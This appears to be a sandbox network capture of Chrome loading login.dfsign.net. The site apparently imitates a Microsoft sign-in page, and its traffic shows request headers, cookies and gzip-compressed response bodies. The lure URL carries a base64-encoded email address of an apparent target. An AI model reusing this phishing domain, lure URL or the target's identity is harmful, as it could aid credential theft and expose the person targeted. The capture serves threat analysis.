2025-01-07 13:48:44 UTC	993	OUT	GET /?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true HTTP/1.1 Host: login.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-07 13:48:45 UTC	776	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 63169 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 3a2349f7-41be-412c-a623-67af1bf2f500 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:45 UTC	15608	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd d9 76 e3 48 92 28 f8 9e 5f c1 e0 cd 8e 20 af 48 8a fb 22 25 4b c5 5d 14 57 71 d1 da 1a 1d 2c 4e 12 22 08 50 58 b8 28 42 7c bb 5f 72 1f e6 f4 c3 bc cd 1f d4 8f 8d 99 39 00 82 5a 32 a3 ba aa bb 4f df c9 ec ae 20 dc e1 8b b9 ed 66 ee 70 fd f6 a5 da ab 8c 6e fb b5 c0 cc 5a a8 7f f9 e5 37 fc 09 48 aa 60 9a c5 60 30 20 2b 46 31 a8 5a 46 30 a0 0a da b4 18 64 5a f0 2f bf 04 7e 9b 31 41 86 df c0 6f 96 62 a9 0c 9f 02 43 65 aa 05 14 2d 60 e9 81 ad 6e 1b 01 41 92 74 5b b3 b0 d1 b1 d7 ea b7 05 b3 84 80 a4 6b 16 d3 ac 62 d0 62 1b eb 18 27 3c 0d 48 33 c1 30 99 55 b4 ad 49 34 1f 04 60 ac 65 94 3d db ca aa 18 ac f0 e6 d1 d1 76 c9 82 c7 1f 0c d3 ac 15 99 3c 65 87 bd 6e a2 e3 52 b4 a2 2f 96 82 a5 88 ea c7 1d d7 8a 6c cd 8a 32 5b 29 12 8b Data Ascii: vH(_ H"%K]Wq,N"PX(B\|_r9Z2O fpnZ7H``0 +F1ZF0dZ/~1AobCe-`nAt[kbb'<H30UI4`e=v<enR/l2[)
2025-01-07 13:48:45 UTC	12556	IN	Data Raw: c4 46 d7 1d c6 1b d0 06 1a d6 09 8a ca db 35 17 0b 26 2b 02 a9 0f da 98 e0 1f 08 f6 26 84 1a 45 9a 23 ae 32 f1 5c 21 11 4f 4a cd c1 e8 bc 4e fd f0 4f 9b 80 90 e3 58 e5 41 ef 7a 58 43 8e 4a 26 53 89 54 36 d9 ab ca ed 3b 44 cf a3 4f 35 e1 c5 97 fa 72 09 cc a8 e3 e5 b2 1e a8 cb ea a5 ae bb 84 71 d4 86 b5 50 51 23 c0 e3 f9 ac 3b bc c6 91 68 4f bf 39 a9 80 ca 66 a8 31 68 9f 16 7e fb 3e d4 eb e2 93 83 0c 59 67 28 8e 71 4d a7 a2 77 39 1f 21 0a 41 42 a2 60 81 33 6d ec 40 5f 9a 2f 8d 35 41 04 fc 80 e2 71 37 36 88 4f a8 29 c2 82 79 4e 9b 2f 0a f8 c3 67 3e 06 6c 5a db 2c ff 07 be a7 69 31 ad cb 21 d3 38 89 10 1f b0 70 98 07 cb 00 13 53 78 4f d0 51 4d 4d c6 2b 08 a0 30 bf 1d 5c e3 da ca 75 26 df 72 85 65 ab 48 c9 44 36 53 5b cf 97 0c c5 45 bf 1e ad f1 a5 a6 e3 50 9e Data Ascii: F5&+&E#2\!OJNOXAzXCJ&ST6;DO5rqPQ#;hO9f1h~>Yg(qMw9!AB`3m@_/5Aq76O)yN/g>lZ,i1!8pSxOQMM+0\u&reHD6S[EP
2025-01-07 13:48:45 UTC	16384	IN	Data Raw: 20 86 e8 74 2e f4 bd ff 00 a2 23 64 6d 80 b6 35 44 87 da 51 bf 2b fe 36 b7 13 af 34 d2 95 4c ea 41 54 f2 d8 66 4a fd 36 10 1d 0e 39 c0 da 77 3c a5 20 3a 54 91 45 de 56 83 06 96 ea 9a 7b 76 3c e9 b3 d3 21 3a d4 94 86 e8 80 9d fc a0 e8 31 bd b4 24 0d 31 ba c6 c7 3b 0d 2a 90 5f a9 3a ae 30 3a ce 8b e3 18 9d 58 3d 85 d1 49 bc 40 61 74 74 4d c1 e8 c0 d8 ee 7c cd 06 8c 8e 19 09 85 d1 89 fd 5e c7 e8 44 3b 0a a3 43 27 3e b1 25 51 c1 52 e7 21 1f ef f2 ac c2 e8 44 e5 81 f9 cd 3c 2d 9f 69 6b ae f4 51 b1 11 15 05 a2 c3 56 8f ba b1 05 cb 8e 83 8f 8c 2c 53 0e c4 48 4c da da 9e 3b 71 f6 1c ed 21 70 6e 60 1b 71 35 e8 9e e8 2e 70 44 36 2d 37 3a 69 7a 7d 25 85 a7 11 e3 0b 2b e3 c2 55 20 0f 63 77 e6 fa dd e4 68 66 d5 70 ec 1c 4f 94 31 9b ec d9 34 e8 1a 55 51 48 3b 6a 6a 35 Data Ascii: t.#dm5DQ+64LATfJ69w< :TEV{v<!:1$1;*_:0:X=I@attM\|^D;C'>%QR!D<-ikQV,SHL;q!pn`q5.pD6-7:iz}%+U cwhfpO14UQH;jj5
2025-01-07 13:48:45 UTC	16384	IN	Data Raw: 9c 55 38 0b 93 e4 73 30 87 93 63 54 4d 59 aa 6f 83 f9 f7 3a 3d 80 fc ce 73 93 bb aa c1 0c fa e8 e6 7a c9 bc 30 13 f3 9a a7 ef 2b 10 df 70 c0 f8 68 18 97 a4 5c b1 68 72 aa be 35 2f f4 b5 5b ab 16 8e 19 98 4a cb f3 4a d4 27 77 5a bd 92 88 71 cb c6 3c 57 3b 1f 5e db 72 68 f3 e4 51 c5 76 88 f8 19 ac 2b 87 3e 06 f3 3b e1 77 dc 59 69 c4 c6 4e eb 47 ac cf e0 1c 7e 65 79 91 28 f4 b5 4f 5b 31 7c 4f 84 32 89 b0 9f 7f a6 4a 0a 96 c6 c2 05 7b 88 49 34 22 16 a4 2f a5 c0 44 23 0a bf 90 a8 e1 0b c4 2a 7c bd 36 1f 7b c1 fc 73 9d a5 2b 12 11 e0 9a 33 65 cd 1f 2e 11 90 88 95 78 43 4e 80 e5 85 93 ac c6 fd 11 af f0 43 5e 23 a1 ca d8 ef 33 bc f7 c2 53 1b 8e 88 67 e9 b3 de 45 3a 1c 91 2e 34 e1 88 62 16 6a 22 36 07 19 1e 72 27 9a 2a b4 6a 62 d8 94 89 46 52 a3 69 5e 38 d6 b5 89 Data Ascii: U8s0cTMYo:=sz0+ph\hr5/[JJ'wZq<W;^rhQv+>;wYiNG~ey(O[1\|O2J{I4"/D#\|6{s+3e.xCNC^#3SgE:.4bj"6r'jbFRi^8
2025-01-07 13:48:45 UTC	2237	IN	Data Raw: 06 9c 13 c2 5a 62 21 a8 e4 05 79 a2 51 2e ae cd c3 20 0a d7 ca f0 d4 79 dd 31 45 48 1c f5 8e 2e 74 90 6b c1 01 fc c0 7f 59 b1 f2 d5 8e 45 9d 47 68 ec 79 9e d0 3c 9b 7f 46 7e 04 e8 10 e1 2f 7d c7 5f f7 c1 ef 88 0e 21 c2 75 9a 2b 09 8b ea 06 9e db 74 d4 95 9b 8e bf 20 6f ea 64 af 32 80 33 6e 95 42 23 0c c5 b0 2c 04 63 22 5e b3 08 d7 9c 78 b1 34 60 72 d2 1d e2 24 02 11 a1 d9 a8 d7 74 52 37 4d c2 c6 33 58 31 58 9e 00 b7 fa c2 60 08 bf 29 81 55 2e 32 c9 d2 9e 8a fa a4 96 fd ab 36 ad 7b 92 8a f7 84 00 01 12 2e 0b a9 9a e4 3b ad c0 8b 51 cb c3 90 f2 c1 b6 fe e1 fd cb 93 80 37 d6 45 7e 4a 48 21 df da 49 9e 04 7c 62 1a 09 b0 72 65 ba de 16 01 9f 46 5e d9 10 e3 25 e8 59 9c b4 d6 65 0b 45 e6 88 62 20 3d 05 66 ce 02 66 c9 8d 45 8e a1 c7 22 cf 02 37 b4 af 64 de af 31 Data Ascii: Zb!yQ. y1EH.tkYEGhy<F~/}_!u+t od23nB#,c"^x4`r$tR7M3X1X`)U.26{.;Q7E~JH!I\|breF^%YeEb =ffE"7d1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49724	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:44 UTC	538	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:44 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:44 GMT Content-Type: application/x-javascript Content-Length: 49907 Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 02 Oct 2024 20:05:23 GMT etag: 0x8DCE31D8CF87EF9 x-ms-request-id: aa6d04dc-d01e-0009-48e5-5ab928000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134844Z-15464c697c5c7dj6hC1FRArk680000000rt000000000db38 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:44 UTC	6408	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2025-01-07 13:48:44 UTC	16384	IN	Data Raw: c6 27 db a2 3e e6 05 47 2e 9c 7f c5 fd e2 96 d4 97 ed e7 54 9f 2f 28 b9 4c a4 79 73 a1 6a 96 5a 02 32 86 4e 57 dd ff 72 65 39 bd 9f ea 5b 58 ae c7 4e 8c 23 3c 1a 23 c8 05 0b 29 81 02 92 bf 00 d4 5d 4e aa 32 30 60 c5 4d c0 da bf a3 4c 5c ce d3 5e ab 06 48 fb 1a 0a ae 85 5c 70 fe fe a7 4b e0 ba a5 a9 59 03 60 66 d1 1b a0 bd ea 0d 40 ee c7 b4 73 de df 50 66 5d 62 78 1e e5 a6 0f 50 7b 1c 8d a5 d4 e8 ea 2f e4 86 63 5f dc c2 fa 06 2a 1a 51 af 8a 1e 24 cf 5d 59 1c 96 74 4b 59 11 fd 74 b2 48 9e 50 f7 02 77 0d e2 fa 2c e1 6f 30 b7 d2 44 e3 c3 d4 45 c1 6b c0 84 fe bb d0 ec 56 29 4a 4f 0b ca f0 71 57 fe b8 ae c5 06 e6 1c c7 7e ad 09 92 67 1d 84 86 63 98 26 cf 5e e1 fa 3a d5 e9 2f d7 16 9a 56 f0 4a 6d e1 aa da 64 53 ff 7a 75 d8 7e 55 e1 5f e8 88 9c 38 9e 39 c2 a9 17 Data Ascii: '>G.T/(LysjZ2NWre9[XN#<#)]N20`ML\^H\pKY`f@sPf]bxP{/c_*Q$]YtKYtHPw,o0DEkV)JOqW~gc&^:/VJmdSzu~U_89
2025-01-07 13:48:44 UTC	16384	IN	Data Raw: 92 27 10 48 4a 79 c1 2f 81 00 c6 78 9c 85 c5 25 96 48 52 fc 7b ee 4e fd e4 69 9f a3 57 23 c7 70 a7 8f ee 53 8c a3 d8 45 a2 04 1d 84 3d e4 fb ce 73 1a 32 65 37 ad 51 18 a2 35 0a 4f 4c 32 f0 c0 ea a0 dd a4 7d 8d 55 43 21 9e 38 eb 9c 38 cb 1f 2f 6d 47 a4 f5 5f cf 75 e4 46 cc e9 18 f4 47 de 86 39 76 02 7e 3a 24 12 a3 c7 c9 88 f7 78 fe 3c 62 a1 35 ac 1f 71 40 a9 e1 b1 ff c1 60 b8 d8 5c ce 42 1a c4 99 f7 30 e6 b5 0c 4f c2 4e c9 18 f0 c7 ba ef 3f 27 5a b9 0d 6a 23 e9 64 c4 8a 10 fa 36 aa b2 31 aa 71 66 d6 e0 86 ea 45 55 26 42 1f d3 1e ca fe a9 ae a8 ae 49 d1 56 68 cc 34 e7 e6 56 65 84 1e 60 99 c3 4d cc a7 31 e1 b3 49 b5 9d eb bd 21 9f 24 37 dc ea 9b 56 bf fe 6f 7e 91 eb 20 7d e7 f9 df 79 21 2e ea 17 ce b3 dc ff 76 79 bd c0 a8 9b b1 d3 5c 58 b1 22 be 15 c1 b0 b4 Data Ascii: 'HJy/x%HR{NiW#pSE=s2e7Q5OL2}UC!88/mG_uFG9v~:$x<b5q@`\B0ON?'Zj#d61qfEU&BIVh4Ve`M1I!$7Vo~ }y!.vy\X"
2025-01-07 13:48:44 UTC	10731	IN	Data Raw: 48 d2 aa ab 7d b7 41 da 5d 4b e9 ed 19 42 07 be 7e b4 12 76 11 24 f9 72 04 6b 8c c2 e4 50 d9 8f bf 52 c5 1c 75 16 3a 3d 27 0a a8 f2 18 75 34 cd 96 cb a1 6a 38 63 b6 88 90 0b 3b 72 47 bd 7f a6 71 ac 5b 0c 12 f3 67 0a dd a8 8b f7 ae 61 8d 52 48 0a a0 66 35 99 37 52 2a 44 e0 22 cc c3 bd 31 23 4e 17 4f 32 49 c3 9b 1c e7 27 de 78 38 cc 25 91 1f 4c 03 25 09 b1 e9 09 dd 4b 01 b3 a8 8d ae 21 89 34 a2 b7 5f 47 23 1c 4a 71 58 0a e6 0b 71 d8 72 1d a9 eb 4a 01 56 d0 42 d9 c7 a2 41 a5 cc cb 6f 8a 21 92 16 89 ab c6 f4 6e 1b 86 d9 b1 22 fe 30 10 14 7b d4 5f 12 a1 8c d5 cf e8 33 f1 12 b4 27 96 26 da 87 ce 63 dd 67 ff 2c 3c df 5d de de ee fb 97 e1 72 78 3e dc 1f eb 1e a6 4f c2 25 9b 3d 70 63 15 96 fe 5c 84 5a 00 09 03 9c 63 e1 9e fb e9 f0 0c 7c 60 ec ee f9 e9 ee be 37 8e Data Ascii: H}A]KB~v$rkPRu:='u4j8c;rGq[gaRHf57R*D"1#NO2I'x8%L%K!4_G#JqXqrJVBAo!n"0{_3'&cg,<]rx>O%=pc\Zc\|`7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49723	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:44 UTC	648	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ==" Sec-WebSocket-Key: oLxA6/T4DegMN6RSdMFn7w== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:48:44 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:48:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 9cfed0ad-8a57-4ee5-b78f-ae118be02e01 x-ms-ests-server: 2.1.19683.6 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49726	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:44 UTC	816	OUT	GET /favicon.ico HTTP/1.1 Host: login.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-07 13:48:44 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:48:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 7b866c36-357f-4005-8e72-b6baf1460601 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49728	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:45 UTC	424	OUT	OPTIONS /api/report?catId=GW+estsfd+dub2 HTTP/1.1 Host: 00459cc6-b5027fcd.dfsign.net Connection: keep-alive Origin: https://login.dfsign.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:45 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding access-control-allow-headers: content-type access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2025-01-07 13:48:45 UTC	12	IN	Data Raw: 37 0d 0a 4f 50 54 49 4f 4e 53 0d 0a Data Ascii: 7OPTIONS
2025-01-07 13:48:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49729	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:45 UTC	650	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:47 UTC	796	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:46 GMT Content-Type: text/css Content-Length: 20410 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 08 Nov 2024 04:59:25 GMT etag: 0x8DCFFB21E496F3A x-ms-request-id: 2cbb0fec-701e-0062-429c-583edc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134846Z-1777998d8f9mwqzwhC1DUS4htg00000010tg000000005er9 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:47 UTC	15588	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2025-01-07 13:48:47 UTC	4822	IN	Data Raw: 75 4c ff b4 b4 67 78 ce 2b 2b 6e 13 d6 17 0b 8b ca ba c2 a2 2a 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 f9 d0 f9 26 d9 66 Data Ascii: uLgx++n,1/+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49730	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:45 UTC	627	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:47 UTC	813	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:46 GMT Content-Type: application/x-javascript Content-Length: 122499 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 22 Nov 2024 01:34:34 GMT etag: 0x8DD0A95D1F56318 x-ms-request-id: 81b18120-b01e-0042-2cfb-59457b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134846Z-1777998d8f9dfhk9hC1DUSur0c0000000vd000000000sn83 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
